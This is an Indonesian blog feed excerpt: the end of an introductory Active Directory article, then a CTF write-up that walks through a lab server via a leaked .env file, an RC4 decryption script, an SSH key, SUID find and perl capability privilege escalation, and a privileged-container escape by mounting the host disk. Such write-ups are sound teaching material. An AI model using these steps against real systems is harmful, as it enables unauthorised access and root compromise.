<p>Dan tidak kalah pentingnya, pada active directory terdapat 2 konsep untuk identifikasi <em><strong>yaitu </strong></em>SPN dan <em><strong>UPN</strong></em>, gampangnya UPN itu merupakan identitas unik pada user dalam active directory yang berguna untuk mengenali dan identifikasi user contohnya &lt;username>@&lt;domain> atau xpl0dec@bhitech.corp sementara itu SPN digunakan untuk mengenali service / layanan pada Active Directory yang menggunakan kerberos(akan kita bahas nanti) dengan contoh &lt;service>/&lt;hostname>:&lt;port> atau MSSQL/bhitech:1433 disini kita mencontohkan dengan DB mssql dengan hostname bhitech di port 1433</p>



<p class="has-large-font-size"><strong>Cara Kerja Active Directory</strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="691" height="481" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg" alt="" class="wp-image-499" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg 691w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad-300x209.jpg 300w" sizes="auto, (max-width: 691px) 100vw, 691px" /></figure>



<p>Dalam Active Directory untuk mengatur object object di dalamnya terdapat struktrur hierarki dimana struktur hierarki ini mencakup komponen penting diantarannya:</p>



<p><em><strong>Domain</strong></em> : Direpresentasikan sama dengan domain name yang ada pada internet dengan menggunakan .(titik) seperti abc.com, bhitech.corp tetapi pengertian lebih luasnya domain ini digunakan untuk mengelompokkan object pada Active Directory, seperti yang kita bahas sebelumnya object itu mencakup user, group, printer, computer dan sumber daya lain</p>



<p><strong>Organizational units</strong>(OUs) : OUs ini cukup kompleks karena digunakan untuk mengatur dan mengelola object object pada Active Directory, sebagai contoh sederhana pada sebuah perusahaan pastinya memiliki banyak departement dan kita ambil 2 sebagai contoh yaitu marketing dan IT jadi fungsi OUs ini akan membagi hak akses dimana setiap departement akan diberikan OU misalkan OU marketing hanya diberikan akses untuk mengelola ke service yang menyediakan penjualan dan pembelian sementara OU IT diberikan mengelola akses ke server maupun <strong><em>Domain Controller</em></strong></p>



<p><em><strong>Forest</strong></em> :  Forest ini merupakan gabungan dari satu atau lebih domain dan domain bisa saling terhubung dan berbagi resource seperti pada gambar diatas yaitu abc.com bisa sharing directory dengan xyz.com begitupun sebaliknya</p>



<p><strong><em>Tree</em></strong> : Pada gambar diatas tree bisa kita sebut sebagai subdomain yaitu hierarki domain yang menggunakan namespace yang sama seperti abc.com yang memiliki tree asia.abc.com</p>



<p><strong><em>Group Policy Objects (GPOs)</em></strong> : Merupakan suatu aturan pada active directory yang diberikan kepada user sebagai contoh kita bisa memaksa user mengganti password sebulan sekali atau password user harus lebih dari 8 karakter menggunakan <em><strong>GPOs</strong></em></p>



<p><strong><em>Global Catalog</em></strong> : Secara sederhana sebuah database yang menyimpan semua informasi terkait domain pada suatu forest</p>



<p><strong><em>Trust Relationship</em></strong> : Dimana kita ingin menghubungkan atau berbagi resource lintas domain dari forest yang berbeda</p>



<p class="has-large-font-size"><strong><em>Protokol dan Authentication</em></strong></p>



<p>Active Directory menggunakan banyak protocol untuk keperluan fungsionalitas, authentication maupun authorization diantara lain ada LDAP, SMB, RPC, kerberos. Dan disini untuk keperluan pentesting kita akan membahas beberapa protokol yang perlu kalian diketahui</p>



<p><em><strong>LDAP</strong></em>: LDAP(Lightweight Directory Access Protocol) sendiri merupakan suatu protokol yang dipakai untuk mengakses dan mengelola data pada active directory </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png" alt="" class="wp-image-501" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-768x384.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work.png 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi saat user atau service akan berkomunikasi dengan Active Directory user tersebut perlu melakukan serangkaian query pada LDAP protocol yang didalam LDAP sendiri terdapat banyak informasi mengenai object yang disimpan oleh Active Directory dan dapat kita akses menggunakan LDAP query. LDAP menggunakan TCP connection dan port defaultnya yaitu <strong>389</strong> dan <strong>636</strong>(dengan tambahan SSL/TLS)  </p>



<p><strong><em>SMB</em></strong> : Protocol smb digunakan untuk berbagi data dan file antar server pada jaringan, jadi menggunakan SMB kita bisa sharing directory yang berguna agar server lain dapat mendownload/upload pada server yang menjalankan SMB dan port default SMB ada di 445 </p>



<p><strong>RPC</strong> : RPC atau Remote Procedure Call yang berfungsi untuk komunikasi antar object di jaringan yang pada Active Directory RPC berguna untuk meminta suatu layanan ke layanan pada server lain dalam domain. Secara konsep hampir mirip dengan REST API tapi dengan arsitektur yang berbeda yakni dalam RPC kita bisa melakukan fungsi pada server lain yang seolah olah bersifat local</p>



<p><em><strong>NTLM</strong></em> :  Windows New Technology LAN Manager merupakan suatu protokol yang digunakan untuk authentikasi pada operating system windows, dan sebenarnya NTLM ini protokol lama yang sekarang sudah digantikan oleh kerberos karena dianggap sudah usang dan memiliki masalah security tapi meskipun itu masih banyak digunakan hingga sekarang</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="887" height="608" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png" alt="" class="wp-image-502" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png 887w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-300x206.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-768x526.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>



<p>Cara kerjanya cukup sederhana yang disebut <em><strong>Challenge-Response</strong></em> yaitu pertama client meminta authentikasi ke server dan jika authentikasi valid maka server melakukan response &#8220;challenge&#8221; berupa nonce(angka acak) yang kemudian dikirimkan kembali pada client lalu client me-response dengan hash dari challenge yang diberikan server serta di gabungkan dengan hash password dari client</p>



<p><em><strong>Kerberos</strong></em>: Kerberos sekarang ini sudah menjadi protocol authentikasi default pada Active Directory dan pada mekanismenya sendiri juga lebih kompleks</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="632" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg" alt="" class="wp-image-503" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-300x185.jpg 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-768x474.jpg 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1536x947.jpg 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-2048x1263.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita perlu mengerti beberapa istilah untuk memahami komunikasi kerberos pada gambar diatas yaitu terkait dengan ticketing yang sangat penting kita pahami sebagai pentester, beberapa istilah terkait:</p>



<p><strong><em>KDC</em></strong>(Key Distribution Center) : Merupakan komponen penting pada protocol kerberos yaitu bertindak sebagai service pihak ketiga yang terpercaya(trusted)</p>



<p><em><strong>AS(<strong>Authentication service</strong>)</strong></em> : Yaitu suatu layanan / service yang memvalidasi authentikasi client pada kerberos</p>



<p><em><strong>TGT</strong></em>(Ticket Granting Ticket) : Merupakan ticket yang dikeluarkan oleh kerberos jika authentikasi awal berhasil </p>



<p><em><strong>TGS</strong></em>(Ticket Granting Server) : Merupakan komponen pada authentikasi kerberos yang berfungsi mengeluarkan ticket untuk mengakses layanan tertentu</p>



<p>Setelah kita tau istilah-istilah penting pada kerberos sekarang kita bahas mekanisme protocolnya</p>



<ol class="wp-block-list">
<li>Client melakukan authentikasi kerberos dan meminta TGT ke AS</li>



<li>Jika valid maka AS akan menerbitkan TGT dan TGT diberikan pada client</li>



<li>Lalu client kembali melakukan request ST(Service Ticket) pada kerberos TGS dengan membawa TGT </li>



<li>jika TGT valid maka TGS akan memberikan ST pada client</li>



<li>ST(Service Ticket) ini kemudian dipakai untuk akses ke service tertentu pada active directory seperti file server, email dsb</li>
</ol>



<p class="has-large-font-size"><strong><em>Penutup</em></strong></p>



<p>Disini kita sudah belajar mengenai konsep Active Directory dan berguna untuk keperluan pentesting yang mungkin akan aku bahas pada artikel selanjutnya, dan yang perlu ditekankan disini yaitu memiliki fundamental tentang system atau arsitektur itu sangat penting sebelum kita melangkah ke sisi security dan keamanan apalagi topik yang kompleks seperti Active Directory ini jadi semoga saja artikel ini dapat mudah dipahami tentunya semoga bermanfaat juga dan happy hacking, sekian.</p>



<p><em>&#8220;Learning never exhausts the mind.&#8221;</em> <strong>-Leonardo da Vinci</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bhitech Pentesting + Container Escape</title>
		<link>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 31 Dec 2024 14:07:23 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=463</guid>

					<description><![CDATA[<p>Halo semuanyaa jumpa lagi denganku, jadi pada kesempatan kali ini aku akan membahas WriteUp dari challenge Bhineka Tech mengenai pentesting dan kebetulan tulisan ini dibuat di akhir tahun jadi sekalian sebagai penutup dan juga selamat nataru bagi yang merayakan semoga di tahun 2025 nanti kita menjadi pribadi yang lebih baik lagi dari sebelumnya. Jadi tanpa [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/">Bhitech Pentesting + Container Escape</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo semuanyaa jumpa lagi denganku, jadi pada kesempatan kali ini aku akan membahas WriteUp dari challenge Bhineka Tech mengenai pentesting dan kebetulan tulisan ini dibuat di akhir tahun jadi sekalian sebagai penutup dan juga selamat nataru bagi yang merayakan semoga di tahun 2025 nanti kita menjadi pribadi yang lebih baik lagi dari sebelumnya.</p>



<p>Jadi tanpa berlama lama langsung saja kita baca deskripsi dari challenge </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e375aeea2e5053ee436f601353fccc0c"><code>Pentesting Challenge

host: &#91;redacted]
level: bisa dibilang easy
format flag: bhitech{}

Description:
Kamu diberikan suatu alamat IP address dan kamu ditugaskan untuk melakukan penetration testing dan hacking pada server, yang dimana hasil akhirnya mendapatkan suatu flag yang disimpan pada directory /root.
jadi pada challenge ini kita dipaksa untuk memahami hacking anatomy atau phase dari hacking mulai dari recon(mengumpulkan informasi), privilege escalation untuk mendapatkan root akses hingga covering track yang tentunya kamu bakal banyak belajar dari challenge ini

note:
untuk teman teman yang mengerjakan challenge ini dimohon tidak merusak apapun pada server karena memang sengaja dibuat vulnerable, meskipun berjalan pada safe environtment tetap saja merusak server yang dibuat challenge tidak ada bedanya kalian dengan para script kiddies diluar sana</code></pre>



<p>Dari deskripsi yang kita baca, diberikan suatu IP address dan format flag yang dimana kita diharuskan untuk melakukan penetration testing pada server hingga mendapatkan akses root atau melakukan privilege escalation karena flag disimpan pada directory /root</p>



<p>Mulai dengan reconnaissance yakni teknik yang digunakan attacker untuk mengumpulkan informasi tentang target yang akan di serang. Langsung saja menggunakan nmap untuk port discovery</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="489" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-1024x489.png" alt="" class="wp-image-465" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-1024x489.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-300x143.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-768x367.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menarik karena ada beberapa port yang terbuka atau service yang running diantaranya ada <strong>HTTP</strong>, <strong>SSH </strong>dan <strong>DBMS</strong> yang menggunakan <strong>postgresql </strong>dan untuk identifikasi awal kita akan melakukan scanning pada service <strong>HTTP</strong> </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1024x472.png" alt="" class="wp-image-466" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1024x472.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-768x354.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1536x708.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832.png 1905w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jika kita buka pada browser, tampilan awal pada website tidak asing yang merupakan default page dari framework codeigniter 4 yang dimodifikasi sedikit dan disini kita akan melakukan directory enumeration yang bertujuan untuk menemukan hidden directory ataupun file yang ada pada server</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="661" height="581" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230.png" alt="" class="wp-image-467" style="width:836px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230.png 661w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230-300x264.png 300w" sizes="auto, (max-width: 661px) 100vw, 661px" /></figure>



<p>Menggunakan dirsearch dan menemukan file yang menarik yaitu .env, .env sendiri merupakan file yang berisi konfigurasi utama dan sensitive information pada framework codeigniter 4 yang seharusnya tidak boleh diakses tetapi jika developer melakukan misconfiguration hal ini mengakibatkan file .env dapat diakses yang dimana kerentan ini dikenal dengan <em><strong>Information Disclosure</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="645" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-1024x645.png" alt="" class="wp-image-468" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-1024x645.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-300x189.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-768x484.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847.png 1026w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita mendapatkan credential database server dari .env file dan seperti yang kita tahu sebelumnya dari nmap scanning jika port 5432 terbuka atau di expose ke public. karena dbms pada server memakai <strong><em>postgresql</em></strong> jadi disini kita akan memakai psql client untuk connect dan melakukan remote database via CLI(command line interface)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-1024x549.png" alt="" class="wp-image-471" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-768x412.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql.png 1128w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat kita berhasil login dan masuk pada database <em><strong>db_project</strong></em> dimana terdapat table secret yang menarik perhatian  </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="69" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-1024x69.png" alt="" class="wp-image-472" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-1024x69.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-300x20.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-768x52.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745.png 1209w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kemudian menggunakan SQL query yaitu <em><strong>SELECT * FROM secret</strong></em> untuk menampilkan semua data pada table secret, yang sepertinya berisi suatu encrypted text dan terdapat keterangan pada field type_enc dan description yang intinya untuk mendapatkan plaintext kita harus melakukan decrypting dengan type cipher rc4. </p>



<p>langsung saja buat script python sederhana menggunakan module <em><strong>PyCryptodome </strong></em>yang merupakan package pada python yang menangani operasi cryptography atau bisa juga kita memakai openssl sebagai alternatif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-d871588a075d003b32b22ef760a132d2"><code>from Crypto.Cipher import ARC4
import base64

username_enc = base64.b64decode(b"iayFvJMqnA==")
password_enc = base64.b64decode(b"iraP/Kkgh69PNS33dCW/LsrchsUZ8w==")
path_enc = base64.b64decode(b"xLaJpZMklpVbbzDNcjm5KOzNlsEf8w0=")

key = bytes.fromhex("737db1fbe47e92be8897a0bc4a1afa39")
cipher = ARC4.new(key)
username_dec = cipher.decrypt(username_enc)
cipher = ARC4.new(key)
password_dec = cipher.decrypt(password_enc)
cipher = ARC4.new(key)
path_dec = cipher.decrypt(path_enc)

# Hasil decrypting
print("username : " + username_dec.decode('utf-8'))
print("password : " + password_dec.decode('utf-8'))
print("path_dec : " + path_dec.decode('utf-8'))</code></pre>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="437" height="122" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650.png" alt="" class="wp-image-473" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650.png 437w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650-300x84.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>



<p>Disini kita berhasil melakukan decrypt dari ciphertext yang kita dapatkan dan jika kita lihat terdapat field table dengan nama <em><strong>path_dec</strong></em> yang bisa kita asumsikan merupakan suatu hidden directory pada web application</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1024x362.png" alt="" class="wp-image-474" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910.png 1725w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>benar saja jika kita buka dengan menyertakan path <strong>/remember/secret_admin/</strong> maka akan muncul HTTP auth, disini kita bisa masukan username dan password hasil dari decrypt rc4</p>



<p>user: <strong>bhitech </strong>dan pass: <strong>arc4_is_fun_encryption</strong></p>



<p>dan jika berhasil terdapat suatu file dengan nama note.txt </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="674" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-1024x674.png" alt="" class="wp-image-475" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-1024x674.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-768x506.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412.png 1434w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sepertinya merupakan file sensitive / confidential karena terdapat deskripsi singkat tentang SSH dengan username <strong>dono </strong>pada port <strong>2222</strong>, yang dibawahnya string acak dan jika kita lihat lebih detail merupakan suatu private key SSH karena diawali dengan string <em><strong>&#8212;&#8211;BEGIN OPENSSH PRIVATE KEY&#8212;&#8211;</strong></em></p>



<p>jadi disini langsung saja simpan file pada local machine dan kita akan mencoba untuk login SSH pada server dengan methode keypair</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="837" height="380" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907.png" alt="" class="wp-image-476" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907-300x136.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907-768x349.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></figure>



<p>Berhasil login dan mendapatkan user dono dan kemudian disini kita akan mencoba melakukan privilege escalation atau meningkatkan hak akses, dan banyak yang stuck di tahap ini karena beberapa orang fokus ke kernel exploitation dimana langsung melakukan exploit pada kernel dan gagal. padahal sebenarnya kernel exploitation itu sangat tidak disarankan karena dapat membuat machine mengalami kernel panic jika exploit tidak tepat dan alangkah baiknya digunakan untuk opsi terakhir jika tidak ada misconfig atau vulnerable lain pada OS.</p>



<p>Disini untuk automation enumeration bisa make linepeas dan ditemukan beberapa hal yang menarik yang bisa kita manfaatkan untuk privilege escalation yaitu terdapat 2 misconfiguration pada SUID binary dan capabilities</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-1024x207.png" alt="" class="wp-image-479" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-1024x207.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-768x155.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738.png 1219w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="828" height="370" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl.png" alt="" class="wp-image-481" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl.png 828w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl-300x134.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl-768x343.png 768w" sizes="auto, (max-width: 828px) 100vw, 828px" /></figure>



<p>Disini linepeas melakukan highlight pada binary yang mempunyai kesalahan konfigurasi yaitu pertama <em><strong>SUID </strong></em>binary yang terdapat pada binary <em><strong>find</strong></em> dan kedua binary yang mempunyai capabilities <strong><em>cap_setuid</em></strong></p>



<p>Secara sederhana SUID atau set user id merupakan permission yang memungkinkan user lain melakukan eksekusi dengan privilege owner yang memiliki binary tersebut, dalam kasus ini find dimiliki oleh root jadi kita bisa melakukan eksekusi find menggunakan hak akses root lalu kedua capabilities itu merupakan kemampuan yang dimiliki oleh suatu binary dalam kasus kita perl memiliki capabilities <em><strong>cap_setuid=ep</strong></em> artinya binary <em><strong>perl </strong></em>atau process yang menajalankan <em><strong>perl</strong></em> dapat melakukan penggantian uid ke user lain dan dalam linux uid root mempunyai nomor 0 jadi dengan mudah kita bisa melakukan manipulasi UID ke root</p>



<p>jadi disini aku akan mencontohkan bagaimana melakukan privilege escalation dari keduanya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1017" height="344" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846.png" alt="" class="wp-image-482" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846.png 1017w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846-300x101.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846-768x260.png 768w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /></figure>



<p>Yaps sangat mudah sekali untuk melakukan privilege escalation dimana disini memanfaatkan misconfig dari kedua binary jadi langsung saja kita baca flag pada directory /root</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="737" height="333" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229.png" alt="" class="wp-image-483" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229.png 737w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229-300x136.png 300w" sizes="auto, (max-width: 737px) 100vw, 737px" /></figure>



<p>flag: bhitech{p3ntest1ng_itu_s3ru!}</p>



<p class="has-large-font-size"><strong>Container Escape</strong></p>



<p>Sebenarnya disini kita sudah mendapatkan flag dan challenge berakhir tapi ada tambahan sedikit yaitu kemaren salah satu member Bhineka Tech berhasil melakukan <em><strong>Container Escaping</strong></em> dimana attacker bisa keluar dari container dan mendapatkan akses pada main host hal ini sangat berbahaya karena tujuan dibuatkan suatu container untuk melakukan isolated agar host utama tidak terkena compromised </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-1024x587.png" alt="" class="wp-image-485" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-768x440.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Singkatnya seperti itu, yang pada dasarnya ini sudah diluar dari scope challenge tapi sangat menarik jika kita bahas. jadi pada challenge ini aku sendiri yang melakukan build dan konfigurasi dimana pada saat running container dari docker aku menambahkan flag &#8211;privileged untuk keperluan hak akses yang sebenarnya hal ini sangat berbahaya karena kita memberi akses penuh ke container dan menghapus semua batasan security default.</p>



<p>Tekniknya sendiri dengan melakukan mounting filesystem pada host utama ke directory /mnt pada container, karena container dijalankan dengan misconfig &#8211;privileged artinya attacker mendapatkan privilege untuk melihat host drive</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="560" height="209" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841.png" alt="" class="wp-image-486" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841.png 560w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841-300x112.png 300w" sizes="auto, (max-width: 560px) 100vw, 560px" /></figure>



<p>lsblk untuk melihat block device dan partisi pertama ada di vda1 dengan command <strong><em>mount /dev/vda1 /mnt/filesystem</em></strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="568" height="404" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124.png" alt="" class="wp-image-487" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124.png 568w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124-300x213.png 300w" sizes="auto, (max-width: 568px) 100vw, 568px" /></figure>



